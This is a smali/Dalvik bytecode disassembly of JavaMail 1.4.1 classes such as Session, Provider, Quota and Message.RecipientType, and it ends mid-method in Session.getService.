.field protected value:String
.method public constructor <init>(String, String)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, Header->name:String
0000000A iput-object p2, p0, Header->value:String
0000000E return-void
.end method
.method public getName()String
.registers 2
00000000 iget-object v0, p0, Header->name:String
00000004 return-object v0
.end method
.method public getValue()String
.registers 2
00000000 iget-object v0, p0, Header->value:String
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public IllegalWriteException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0x3727CCA9375F0EEDL
.method public constructor <init>()V
.registers 1
00000000 invoke-direct MessagingException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct MessagingException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public Message$RecipientType
.super Object
.source ""
.implements Serializable
.field public static final BCC:Message$RecipientType = null
.field public static final CC:Message$RecipientType = null
.field public static final TO:Message$RecipientType = null
.field private static final serialVersionUID:J = 0x983271084F364058L
.field protected type:String
.method static constructor <clinit>()V
.registers 2
00000000 new-instance v0, Message$RecipientType
00000004 const-string v1, "To"
00000008 invoke-direct Message$RecipientType-><init>(String)V, v0, v1
0000000E sput-object v0, Message$RecipientType->TO:Message$RecipientType
00000012 new-instance v0, Message$RecipientType
00000016 const-string v1, "Cc"
0000001A invoke-direct Message$RecipientType-><init>(String)V, v0, v1
00000020 sput-object v0, Message$RecipientType->CC:Message$RecipientType
00000024 new-instance v0, Message$RecipientType
00000028 const-string v1, "Bcc"
0000002C invoke-direct Message$RecipientType-><init>(String)V, v0, v1
00000032 sput-object v0, Message$RecipientType->BCC:Message$RecipientType
00000036 return-void
.end method
.method protected constructor <init>(String)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, Message$RecipientType->type:String
0000000A return-void
.end method
.method protected readResolve()Object
.registers 4
00000000 iget-object v0, p0, Message$RecipientType->type:String
00000004 const-string v1, "To"
00000008 invoke-virtual String->equals(Object)Z, v0, v1
0000000E move-result v0
00000010 if-eqz v0, :1A
:14
00000014 sget-object v0, Message$RecipientType->TO:Message$RecipientType
:18
00000018 return-object v0
:1A
0000001A iget-object v0, p0, Message$RecipientType->type:String
0000001E const-string v1, "Cc"
00000022 invoke-virtual String->equals(Object)Z, v0, v1
00000028 move-result v0
0000002A if-eqz v0, :34
:2E
0000002E sget-object v0, Message$RecipientType->CC:Message$RecipientType
00000032 goto :18
:34
00000034 iget-object v0, p0, Message$RecipientType->type:String
00000038 const-string v1, "Bcc"
0000003C invoke-virtual String->equals(Object)Z, v0, v1
00000042 move-result v0
00000044 if-eqz v0, :4E
:48
00000048 sget-object v0, Message$RecipientType->BCC:Message$RecipientType
0000004C goto :18
:4E
0000004E new-instance v0, InvalidObjectException
00000052 new-instance v1, StringBuilder
00000056 const-string v2, "Attempt to resolve unknown RecipientType: "
0000005A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000060 iget-object v2, p0, Message$RecipientType->type:String
00000064 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000006A move-result-object v1
0000006C invoke-virtual StringBuilder->toString()String, v1
00000072 move-result-object v1
00000074 invoke-direct InvalidObjectException-><init>(String)V, v0, v1
0000007A throw v0
.end method
.method public toString()String
.registers 2
00000000 iget-object v0, p0, Message$RecipientType->type:String
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public MessageContext
.super Object
.source ""
.field private part:Part
.method public constructor <init>(Part)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, MessageContext->part:Part
0000000A return-void
.end method
.method private static getMessage(Part)Message
.registers 4
00000000 const/4 v1, 0x0
00000002 move-object v0, p0
:4
00000004 if-nez v0, :C
:8
00000008 move-object v0, v1
:A
0000000A return-object v0
:C
0000000C instance-of v2, v0, Message
00000010 if-eqz v2, :1A
:14
00000014 check-cast v0, Message
00000018 goto :A
:1A
0000001A check-cast v0, BodyPart
0000001E invoke-virtual BodyPart->getParent()Multipart, v0
00000024 move-result-object v0
00000026 if-nez v0, :2E
:2A
0000002A move-object v0, v1
0000002C goto :A
:2E
0000002E invoke-virtual Multipart->getParent()Part, v0
00000034 move-result-object v0
00000036 goto :4
.end method
.method public getMessage()Message
.registers 2
00000000 iget-object v0, p0, MessageContext->part:Part
00000004 invoke-static MessageContext->getMessage(Part)Message, v0
:A
0000000A move-result-object v0
:C
0000000C return-object v0
:E
0000000E move-exception v0
00000010 const/4 v0, 0x0
00000012 goto :C
.catch MessagingException {:0 .. :A} :E
.end method
.method public getPart()Part
.registers 2
00000000 iget-object v0, p0, MessageContext->part:Part
00000004 return-object v0
.end method
.method public getSession()Session
.registers 2
00000000 invoke-virtual MessageContext->getMessage()Message, p0
00000006 move-result-object v0
00000008 if-eqz v0, :12
:C
0000000C iget-object v0, v0, Message->session:Session
:10
00000010 return-object v0
:12
00000012 const/4 v0, 0x0
00000014 goto :10
.end method
#--------------------------------------------------------------------------------
.class public MessageRemovedException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0x1B14623C881E84F2L
.method public constructor <init>()V
.registers 1
00000000 invoke-direct MessagingException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct MessagingException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public MethodNotSupportedException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0xCBDB14C71B05D986L
.method public constructor <init>()V
.registers 1
00000000 invoke-direct MessagingException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct MessagingException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public NoSuchProviderException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0x6FD4E6B3CB29CD5BL
.method public constructor <init>()V
.registers 1
00000000 invoke-direct MessagingException-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct MessagingException-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public final PasswordAuthentication
.super Object
.source ""
.field private password:String
.field private userName:String
.method public constructor <init>(String, String)V
.registers 3
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, PasswordAuthentication->userName:String
0000000A iput-object p2, p0, PasswordAuthentication->password:String
0000000E return-void
.end method
.method public getPassword()String
.registers 2
00000000 iget-object v0, p0, PasswordAuthentication->password:String
00000004 return-object v0
.end method
.method public getUserName()String
.registers 2
00000000 iget-object v0, p0, PasswordAuthentication->userName:String
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public Provider$Type
.super Object
.source ""
.field public static final STORE:Provider$Type
.field public static final TRANSPORT:Provider$Type
.field private type:String
.method static constructor <clinit>()V
.registers 2
00000000 new-instance v0, Provider$Type
00000004 const-string v1, "STORE"
00000008 invoke-direct Provider$Type-><init>(String)V, v0, v1
0000000E sput-object v0, Provider$Type->STORE:Provider$Type
00000012 new-instance v0, Provider$Type
00000016 const-string v1, "TRANSPORT"
0000001A invoke-direct Provider$Type-><init>(String)V, v0, v1
00000020 sput-object v0, Provider$Type->TRANSPORT:Provider$Type
00000024 return-void
.end method
.method private constructor <init>(String)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, Provider$Type->type:String
0000000A return-void
.end method
.method public toString()String
.registers 2
00000000 iget-object v0, p0, Provider$Type->type:String
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class public Provider
.super Object
.source ""
.field private className:String
.field private protocol:String
.field private type:Provider$Type
.field private vendor:String
.field private version:String
.method public constructor <init>(Provider$Type, String, String, String, String)V
.registers 6
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, Provider->type:Provider$Type
0000000A iput-object p2, p0, Provider->protocol:String
0000000E iput-object p3, p0, Provider->className:String
00000012 iput-object p4, p0, Provider->vendor:String
00000016 iput-object p5, p0, Provider->version:String
0000001A return-void
.end method
.method public getClassName()String
.registers 2
00000000 iget-object v0, p0, Provider->className:String
00000004 return-object v0
.end method
.method public getProtocol()String
.registers 2
00000000 iget-object v0, p0, Provider->protocol:String
00000004 return-object v0
.end method
.method public getType()Provider$Type
.registers 2
00000000 iget-object v0, p0, Provider->type:Provider$Type
00000004 return-object v0
.end method
.method public getVendor()String
.registers 2
00000000 iget-object v0, p0, Provider->vendor:String
00000004 return-object v0
.end method
.method public getVersion()String
.registers 2
00000000 iget-object v0, p0, Provider->version:String
00000004 return-object v0
.end method
.method public toString()String
.registers 3
00000000 new-instance v0, StringBuilder
00000004 const-string v1, "javax.mail.Provider["
00000008 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000000E iget-object v1, p0, Provider->type:Provider$Type
00000012 invoke-virtual StringBuilder->append(Object)StringBuilder, v0, v1
00000018 move-result-object v0
0000001A const-string v1, ","
0000001E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000024 move-result-object v0
00000026 iget-object v1, p0, Provider->protocol:String
0000002A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000030 move-result-object v0
00000032 const-string v1, ","
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000003C move-result-object v0
0000003E iget-object v1, p0, Provider->className:String
00000042 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000048 move-result-object v0
0000004A invoke-virtual StringBuilder->toString()String, v0
00000050 move-result-object v0
00000052 iget-object v1, p0, Provider->vendor:String
00000056 if-eqz v1, :8C
:5A
0000005A new-instance v1, StringBuilder
0000005E invoke-static String->valueOf(Object)String, v0
00000064 move-result-object v0
00000066 invoke-direct StringBuilder-><init>(String)V, v1, v0
0000006C const-string v0, ","
00000070 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
00000076 move-result-object v0
00000078 iget-object v1, p0, Provider->vendor:String
0000007C invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000082 move-result-object v0
00000084 invoke-virtual StringBuilder->toString()String, v0
0000008A move-result-object v0
:8C
0000008C iget-object v1, p0, Provider->version:String
00000090 if-eqz v1, :C6
:94
00000094 new-instance v1, StringBuilder
00000098 invoke-static String->valueOf(Object)String, v0
0000009E move-result-object v0
000000A0 invoke-direct StringBuilder-><init>(String)V, v1, v0
000000A6 const-string v0, ","
000000AA invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
000000B0 move-result-object v0
000000B2 iget-object v1, p0, Provider->version:String
000000B6 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
000000BC move-result-object v0
000000BE invoke-virtual StringBuilder->toString()String, v0
000000C4 move-result-object v0
:C6
000000C6 new-instance v1, StringBuilder
000000CA invoke-static String->valueOf(Object)String, v0
000000D0 move-result-object v0
000000D2 invoke-direct StringBuilder-><init>(String)V, v1, v0
000000D8 const-string v0, "]"
000000DC invoke-virtual StringBuilder->append(String)StringBuilder, v1, v0
000000E2 move-result-object v0
000000E4 invoke-virtual StringBuilder->toString()String, v0
000000EA move-result-object v0
000000EC return-object v0
.end method
#--------------------------------------------------------------------------------
.class public Quota$Resource
.super Object
.source ""
.field public limit:J
.field public name:String
.field public usage:J
.method public constructor <init>(String, J, J)V
.registers 6
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, Quota$Resource->name:String
0000000A iput-wide p2, p0, Quota$Resource->usage:J
0000000E iput-wide p4, p0, Quota$Resource->limit:J
00000012 return-void
.end method
#--------------------------------------------------------------------------------
.class public Quota
.super Object
.source ""
.field public quotaRoot:String
.field public resources:[Quota$Resource
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct Object-><init>()V, p0
00000006 iput-object p1, p0, Quota->quotaRoot:String
0000000A return-void
.end method
.method public setResourceLimit(String, J)V
.registers 12
00000000 const-wide/16 v2, 0x0
00000004 const/4 v6, 0x0
00000006 iget-object v0, p0, Quota->resources:[Quota$Resource
0000000A if-nez v0, :30
:E
0000000E const/4 v0, 0x1
00000010 new-array v0, v0, [Quota$Resource
00000014 iput-object v0, p0, Quota->resources:[Quota$Resource
00000018 iget-object v7, p0, Quota->resources:[Quota$Resource
0000001C new-instance v0, Quota$Resource
00000020 move-object v1, p1
00000022 move-wide v4, p2
00000024 invoke-direct/range Quota$Resource-><init>(String, J, J)V, v0 .. v5
0000002A aput-object v0, v7, v6
:2E
0000002E return-void
:30
00000030 move v0, v6
:32
00000032 iget-object v1, p0, Quota->resources:[Quota$Resource
00000036 array-length v1, v1
00000038 if-lt v0, v1, :78
:3C
0000003C iget-object v0, p0, Quota->resources:[Quota$Resource
00000040 array-length v0, v0
00000042 add-int/lit8 v0, v0, 0x1
00000046 new-array v7, v0, [Quota$Resource
0000004A iget-object v0, p0, Quota->resources:[Quota$Resource
0000004E iget-object v1, p0, Quota->resources:[Quota$Resource
00000052 array-length v1, v1
00000054 invoke-static System->arraycopy(Object, I, Object, I, I)V, v0, v6, v7, v6, v1
0000005A array-length v0, v7
0000005C add-int/lit8 v6, v0, 0xFFFFFFFFFFFFFFFF
00000060 new-instance v0, Quota$Resource
00000064 move-object v1, p1
00000066 move-wide v4, p2
00000068 invoke-direct/range Quota$Resource-><init>(String, J, J)V, v0 .. v5
0000006E aput-object v0, v7, v6
00000072 iput-object v7, p0, Quota->resources:[Quota$Resource
00000076 goto :2E
:78
00000078 iget-object v1, p0, Quota->resources:[Quota$Resource
0000007C aget-object v1, v1, v0
00000080 iget-object v1, v1, Quota$Resource->name:String
00000084 invoke-virtual String->equalsIgnoreCase(String)Z, v1, p1
0000008A move-result v1
0000008C if-eqz v1, :9E
:90
00000090 iget-object v1, p0, Quota->resources:[Quota$Resource
00000094 aget-object v0, v1, v0
00000098 iput-wide p2, v0, Quota$Resource->limit:J
0000009C goto :2E
:9E
0000009E add-int/lit8 v0, v0, 0x1
000000A2 goto :32
.end method
#--------------------------------------------------------------------------------
.class public ReadOnlyFolderException
.super MessagingException
.source ""
.field private static final serialVersionUID:J = 0x4F447E8D4F54375DL
.field private transient varargs folder:Folder
.method public constructor <init>(Folder)V
.registers 3
00000000 const/4 v0, 0x0
00000002 invoke-direct ReadOnlyFolderException-><init>(Folder, String)V, p0, p1, v0
00000008 return-void
.end method
.method public constructor <init>(Folder, String)V
.registers 3
00000000 invoke-direct MessagingException-><init>(String)V, p0, p2
00000006 iput-object p1, p0, ReadOnlyFolderException->folder:Folder
0000000A return-void
.end method
.method public getFolder()Folder
.registers 2
00000000 iget-object v0, p0, ReadOnlyFolderException->folder:Folder
00000004 return-object v0
.end method
#--------------------------------------------------------------------------------
.class Service$TerminatorEvent
.super MailEvent
.source ""
.field private static final serialVersionUID:J = 0x4CE9C033019EFFA0L
.method constructor <init>()V
.registers 2
00000000 new-instance v0, Object
00000004 invoke-direct Object-><init>()V, v0
0000000A invoke-direct MailEvent-><init>(Object)V, p0, v0
00000010 return-void
.end method
.method public dispatch(Object)V
.registers 3
00000000 invoke-static Thread->currentThread()Thread
00000006 move-result-object v0
00000008 invoke-virtual Thread->interrupt()V, v0
0000000E return-void
.end method
#--------------------------------------------------------------------------------
.class abstract interface StreamLoader
.super Object
.source ""
.method public abstract load(InputStream)V
.end method
#--------------------------------------------------------------------------------
.class Session$1
.super Object
.source ""
.implements StreamLoader
.field final synthetic this$0:Session
.method constructor <init>(Session)V
.registers 2
00000000 iput-object p1, p0, Session$1->this$0:Session
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public load(InputStream)V
.registers 3
00000000 iget-object v0, p0, Session$1->this$0:Session
00000004 invoke-static Session->access$0(Session, InputStream)V, v0, p1
0000000A return-void
.end method
#--------------------------------------------------------------------------------
.class Session$2
.super Object
.source ""
.implements StreamLoader
.field final synthetic this$0:Session
.method constructor <init>(Session)V
.registers 2
00000000 iput-object p1, p0, Session$2->this$0:Session
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public load(InputStream)V
.registers 3
00000000 iget-object v0, p0, Session$2->this$0:Session
00000004 invoke-static Session->access$1(Session)Properties, v0
0000000A move-result-object v0
0000000C invoke-virtual Properties->load(InputStream)V, v0, p1
00000012 return-void
.end method
#--------------------------------------------------------------------------------
.class Session$3
.super Object
.source ""
.implements PrivilegedAction
.method constructor <init>()V
.registers 1
00000000 invoke-direct Object-><init>()V, p0
00000006 return-void
.end method
.method public run()Object
.registers 3
00000000 const/4 v0, 0x0
:2
00000002 invoke-static Thread->currentThread()Thread
00000008 move-result-object v1
0000000A invoke-virtual Thread->getContextClassLoader()ClassLoader, v1
:10
00000010 move-result-object v0
:12
00000012 return-object v0
:14
00000014 move-exception v1
00000016 goto :12
.catch SecurityException {:2 .. :10} :14
.end method
#--------------------------------------------------------------------------------
.class Session$4
.super Object
.source ""
.implements PrivilegedExceptionAction
.field private final synthetic val$c:Class
.field private final synthetic val$name:String
.method constructor <init>(Class, String)V
.registers 3
00000000 iput-object p1, p0, Session$4->val$c:Class
00000004 iput-object p2, p0, Session$4->val$name:String
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public run()Object
.registers 3
00000000 iget-object v0, p0, Session$4->val$c:Class
00000004 iget-object v1, p0, Session$4->val$name:String
00000008 invoke-virtual Class->getResourceAsStream(String)InputStream, v0, v1
0000000E move-result-object v0
00000010 return-object v0
.end method
#--------------------------------------------------------------------------------
.class Session$5
.super Object
.source ""
.implements PrivilegedAction
.field private final synthetic val$cl:ClassLoader
.field private final synthetic val$name:String
.method constructor <init>(ClassLoader, String)V
.registers 3
00000000 iput-object p1, p0, Session$5->val$cl:ClassLoader
00000004 iput-object p2, p0, Session$5->val$name:String
00000008 invoke-direct Object-><init>()V, p0
0000000E return-void
.end method
.method public run()Object
.registers 5
00000000 const/4 v0, 0x0
00000002 check-cast v0, [URL
:6
00000006 new-instance v2, Vector
0000000A invoke-direct Vector-><init>()V, v2
00000010 iget-object v1, p0, Session$5->val$cl:ClassLoader
00000014 iget-object v3, p0, Session$5->val$name:String
00000018 invoke-virtual ClassLoader->getResources(String)Enumeration, v1, v3
0000001E move-result-object v3
:20
00000020 if-eqz v3, :30
:24
00000024 invoke-interface Enumeration->hasMoreElements()Z, v3
0000002A move-result v1
0000002C if-nez v1, :50
:30
00000030 invoke-virtual Vector->size()I, v2
00000036 move-result v1
00000038 if-lez v1, :4E
:3C
0000003C invoke-virtual Vector->size()I, v2
00000042 move-result v1
00000044 new-array v0, v1, [URL
00000048 invoke-virtual Vector->copyInto([Object)V, v2, v0
:4E
0000004E return-object v0
:50
00000050 invoke-interface Enumeration->nextElement()Object, v3
00000056 move-result-object v1
00000058 check-cast v1, URL
0000005C if-eqz v1, :20
:60
00000060 invoke-virtual Vector->addElement(Object)V, v2, v1
:66
00000066 goto :20
:68
00000068 move-exception v1
0000006A goto :4E
:6C
0000006C move-exception v1
0000006E goto :4E
.catch IOException {:6 .. :66} :68
.catch SecurityException {:6 .. :66} :6C
.end method
#--------------------------------------------------------------------------------
.class Session$6
.super Object
.source ""
.implements PrivilegedAction
.field private final synthetic val$name:String
.method constructor <init>(String)V
.registers 2
00000000 iput-object p1, p0, Session$6->val$name:String
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public run()Object
.registers 5
00000000 const/4 v0, 0x0
00000002 check-cast v0, [URL
:6
00000006 new-instance v2, Vector
0000000A invoke-direct Vector-><init>()V, v2
00000010 iget-object v1, p0, Session$6->val$name:String
00000014 invoke-static ClassLoader->getSystemResources(String)Enumeration, v1
0000001A move-result-object v3
:1C
0000001C if-eqz v3, :2C
:20
00000020 invoke-interface Enumeration->hasMoreElements()Z, v3
00000026 move-result v1
00000028 if-nez v1, :4C
:2C
0000002C invoke-virtual Vector->size()I, v2
00000032 move-result v1
00000034 if-lez v1, :4A
:38
00000038 invoke-virtual Vector->size()I, v2
0000003E move-result v1
00000040 new-array v0, v1, [URL
00000044 invoke-virtual Vector->copyInto([Object)V, v2, v0
:4A
0000004A return-object v0
:4C
0000004C invoke-interface Enumeration->nextElement()Object, v3
00000052 move-result-object v1
00000054 check-cast v1, URL
00000058 if-eqz v1, :1C
:5C
0000005C invoke-virtual Vector->addElement(Object)V, v2, v1
:62
00000062 goto :1C
:64
00000064 move-exception v1
00000066 goto :4A
:68
00000068 move-exception v1
0000006A goto :4A
.catch IOException {:6 .. :62} :64
.catch SecurityException {:6 .. :62} :68
.end method
#--------------------------------------------------------------------------------
.class Session$7
.super Object
.source ""
.implements PrivilegedExceptionAction
.field private final synthetic val$url:URL
.method constructor <init>(URL)V
.registers 2
00000000 iput-object p1, p0, Session$7->val$url:URL
00000004 invoke-direct Object-><init>()V, p0
0000000A return-void
.end method
.method public run()Object
.registers 2
00000000 iget-object v0, p0, Session$7->val$url:URL
00000004 invoke-virtual URL->openStream()InputStream, v0
0000000A move-result-object v0
0000000C return-object v0
.end method
#--------------------------------------------------------------------------------
.class public final Session
.super Object
.source ""
.field private static defaultSession:Session
.field private final addressMap:Properties
.field private final authTable:Hashtable
.field private final authenticator:Authenticator
.field private debug:Z
.field private out:PrintStream
.field private final props:Properties
.field private final providers:Vector
.field private final providersByClassName:Hashtable
.field private final providersByProtocol:Hashtable
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x0
00000002 sput-object v0, Session->defaultSession:Session
00000006 return-void
.end method
.method private constructor <init>(Properties, Authenticator)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 new-instance v0, Hashtable
0000000A invoke-direct Hashtable-><init>()V, v0
00000010 iput-object v0, p0, Session->authTable:Hashtable
00000014 const/4 v0, 0x0
00000016 iput-boolean v0, p0, Session->debug:Z
0000001A new-instance v0, Vector
0000001E invoke-direct Vector-><init>()V, v0
00000024 iput-object v0, p0, Session->providers:Vector
00000028 new-instance v0, Hashtable
0000002C invoke-direct Hashtable-><init>()V, v0
00000032 iput-object v0, p0, Session->providersByProtocol:Hashtable
00000036 new-instance v0, Hashtable
0000003A invoke-direct Hashtable-><init>()V, v0
00000040 iput-object v0, p0, Session->providersByClassName:Hashtable
00000044 new-instance v0, Properties
00000048 invoke-direct Properties-><init>()V, v0
0000004E iput-object v0, p0, Session->addressMap:Properties
00000052 iput-object p1, p0, Session->props:Properties
00000056 iput-object p2, p0, Session->authenticator:Authenticator
0000005A const-string v0, "mail.debug"
0000005E invoke-virtual Properties->getProperty(String)String, p1, v0
00000064 move-result-object v0
00000066 invoke-static Boolean->valueOf(String)Boolean, v0
0000006C move-result-object v0
0000006E invoke-virtual Boolean->booleanValue()Z, v0
00000074 move-result v0
00000076 if-eqz v0, :80
:7A
0000007A const/4 v0, 0x1
0000007C iput-boolean v0, p0, Session->debug:Z
:80
00000080 iget-boolean v0, p0, Session->debug:Z
00000084 if-eqz v0, :92
:88
00000088 const-string v0, "DEBUG: JavaMail version 1.4.1"
0000008C invoke-direct Session->pr(String)V, p0, v0
:92
00000092 if-eqz p2, :AC
:96
00000096 invoke-virtual Object->getClass()Class, p2
0000009C move-result-object v0
:9E
0000009E invoke-direct Session->loadProviders(Class)V, p0, v0
000000A4 invoke-direct Session->loadAddressMap(Class)V, p0, v0
000000AA return-void
:AC
000000AC invoke-virtual Object->getClass()Class, p0
000000B2 move-result-object v0
000000B4 goto :9E
.end method
.method static synthetic access$0(Session, InputStream)V
.registers 2
00000000 invoke-direct Session->loadProvidersFromStream(InputStream)V, p0, p1
00000006 return-void
.end method
.method static synthetic access$1(Session)Properties
.registers 2
00000000 iget-object v0, p0, Session->addressMap:Properties
00000004 return-object v0
.end method
.method private static getContextClassLoader()ClassLoader
.registers 1
00000000 new-instance v0, Session$3
00000004 invoke-direct Session$3-><init>()V, v0
0000000A invoke-static AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010 move-result-object v0
00000012 check-cast v0, ClassLoader
00000016 return-object v0
.end method
.method public static getDefaultInstance(Properties)Session
.registers 2
00000000 const/4 v0, 0x0
00000002 invoke-static Session->getDefaultInstance(Properties, Authenticator)Session, p0, v0
00000008 move-result-object v0
0000000A return-object v0
.end method
.method public static declared-synchronized getDefaultInstance(Properties, Authenticator)Session
.registers 5
00000000 const-class v1, Session
00000004 monitor-enter v1
:6
00000006 sget-object v0, Session->defaultSession:Session
0000000A if-nez v0, :24
:E
0000000E new-instance v0, Session
00000012 invoke-direct Session-><init>(Properties, Authenticator)V, v0, p0, p1
00000018 sput-object v0, Session->defaultSession:Session
:1C
0000001C sget-object v0, Session->defaultSession:Session
:20
00000020 monitor-exit v1
00000022 return-object v0
:24
00000024 sget-object v0, Session->defaultSession:Session
00000028 iget-object v0, v0, Session->authenticator:Authenticator
0000002C if-eq v0, p1, :1C
:30
00000030 sget-object v0, Session->defaultSession:Session
00000034 iget-object v0, v0, Session->authenticator:Authenticator
00000038 if-eqz v0, :6C
:3C
0000003C if-eqz p1, :6C
:40
00000040 sget-object v0, Session->defaultSession:Session
00000044 iget-object v0, v0, Session->authenticator:Authenticator
00000048 invoke-virtual Object->getClass()Class, v0
0000004E move-result-object v0
00000050 invoke-virtual Class->getClassLoader()ClassLoader, v0
00000056 move-result-object v0
00000058 invoke-virtual Object->getClass()Class, p1
0000005E move-result-object v2
00000060 invoke-virtual Class->getClassLoader()ClassLoader, v2
00000066 move-result-object v2
00000068 if-eq v0, v2, :1C
:6C
0000006C new-instance v0, SecurityException
00000070 const-string v2, "Access to default session denied"
00000074 invoke-direct SecurityException-><init>(String)V, v0, v2
0000007A throw v0
:7C
0000007C move-exception v0
0000007E monitor-exit v1
00000080 throw v0
.catchall {:6 .. :20} :7C
.catchall {:24 .. :7C} :7C
.end method
.method public static getInstance(Properties)Session
.registers 3
00000000 new-instance v0, Session
00000004 const/4 v1, 0x0
00000006 invoke-direct Session-><init>(Properties, Authenticator)V, v0, p0, v1
0000000C return-object v0
.end method
.method public static getInstance(Properties, Authenticator)Session
.registers 3
00000000 new-instance v0, Session
00000004 invoke-direct Session-><init>(Properties, Authenticator)V, v0, p0, p1
0000000A return-object v0
.end method
.method private static getResourceAsStream(Class, String)InputStream
.registers 3
00000000 new-instance v0, Session$4
00000004 invoke-direct Session$4-><init>(Class, String)V, v0, p0, p1
0000000A invoke-static AccessController->doPrivileged(PrivilegedExceptionAction)Object, v0
00000010 move-result-object v0
00000012 check-cast v0, InputStream
:16
00000016 return-object v0
:18
00000018 move-exception v0
0000001A invoke-virtual PrivilegedActionException->getException()Exception, v0
00000020 move-result-object v0
00000022 check-cast v0, IOException
00000026 throw v0
.catch PrivilegedActionException {:0 .. :16} :18
.end method
.method private static getResources(ClassLoader, String)[URL
.registers 3
00000000 new-instance v0, Session$5
00000004 invoke-direct Session$5-><init>(ClassLoader, String)V, v0, p0, p1
0000000A invoke-static AccessController->doPrivileged(PrivilegedAction)Object, v0
00000010 move-result-object v0
00000012 check-cast v0, [URL
00000016 return-object v0
.end method
.method private getService(Provider, URLName)Object
.registers 10
00000000 const/4 v2, 0x0
00000002 if-nez p1, :16
:6
00000006 new-instance v0, NoSuchProviderException
0000000A const-string v1, "null"
0000000E invoke-direct NoSuchProviderException-><init>(String)V, v0, v1
00000014 throw v0
:16
00000016 if-nez p2, :144
:1A
0000001A new-instance v0, URLName
0000001E invoke-virtual Provider->getProtocol()String, p1
00000024 move-result-object v1
00000026 const/4 v3, 0xFFFFFFFFFFFFFFFF
00000028 move-object v4, v2
0000002A move-object v5, v2
0000002C move-object v6, v2
0000002E invoke-direct/range URLName-><init>(String, String, I, String, String, String)V, v0 .. v6
:34
00000034 iget-object v1, p0, Session->authenticator:Authenticator
00000038 if-eqz v1, :BE
:3C
0000003C iget-object v1, p0, Session->authenticator:Authenticator
00000040 invoke-virtual Object->getClass()Class, v1
00000046 move-result-object v1
00000048 invoke-virtual Class->getClassLoader()ClassLoader, v1
0000004E move-result-object v1
:50
00000050 invoke-static Session->getContextClassLoader()ClassLoader
:56
00000056 move-result-object v3
00000058 if-eqz v3, :6C
:5C
0000005C invoke-virtual Provider->getClassName()String, p1
00000062 move-result-object v4
00000064 invoke-virtual ClassLoader->loadClass(String)Class, v3, v4
:6A
0000006A move-result-object v2
:6C
0000006C if-nez v2, :140
:70
00000070 invoke-virtual Provider->getClassName()String, p1
00000076 move-result-object v2
00000078 invoke-virtual ClassLoader->loadClass(String)Class, v1, v2
:7E
0000007E move-result-object v1
:80
00000080 const/4 v2, 0x2
:82
00000082 new-array v2, v2, [Class
00000086 const/4 v3, 0x0
00000088 const-class v4, Session
0000008C aput-object v4, v2, v3
00000090 const/4 v3, 0x1
00000092 const-class v4, URLName
00000096 aput-object v4, v2, v3
0000009A invoke-virtual Class->getConstructor([Class)Constructor, v1, v2
000000A0 move-result-object v1
000000A2 const/4 v2, 0x2
000000A4 new-array v2, v2, [Object
000000A8 const/4 v3, 0x0
000000AA aput-object p0, v2, v3
000000AE const/4 v3, 0x1
000000B0 aput-object v0, v2, v3
000000B4 invoke-virtual Constructor->newInstance([Object)Object, v1, v2
:BA
000000BA move-result-object v0
000000BC return-object v0
:BE
000000BE invoke-virtual Object->getClass()Class, p0
000000C4 move-result-object v1
000000C6 invoke-virtual Class->getClassLoader()ClassLoader, v1
000000CC move-result-object v1
000000CE goto :50
:D0
000000D0 move-exception v1
:D2
000000D2 invoke-virtual Provider->getClassName()String, p1
000000D8 move-result-object v1
000000DA invoke-static Class->forName(String)Class, v1
:E0
000000E0 move-result-object v1
000000E2 goto :80
:E4
000000E4 move-exception v0
000000E6 iget-boolean v1, p0, Session->debug:Z
000000EA if-eqz v1, :FC
:EE
000000EE invoke-virtual Session->getDebugOut()PrintStream, p0
000000F4 move-result-object v1
000000F6 invoke-virtual Exception->printStackTrace(PrintStream)V, v0, v1
:FC
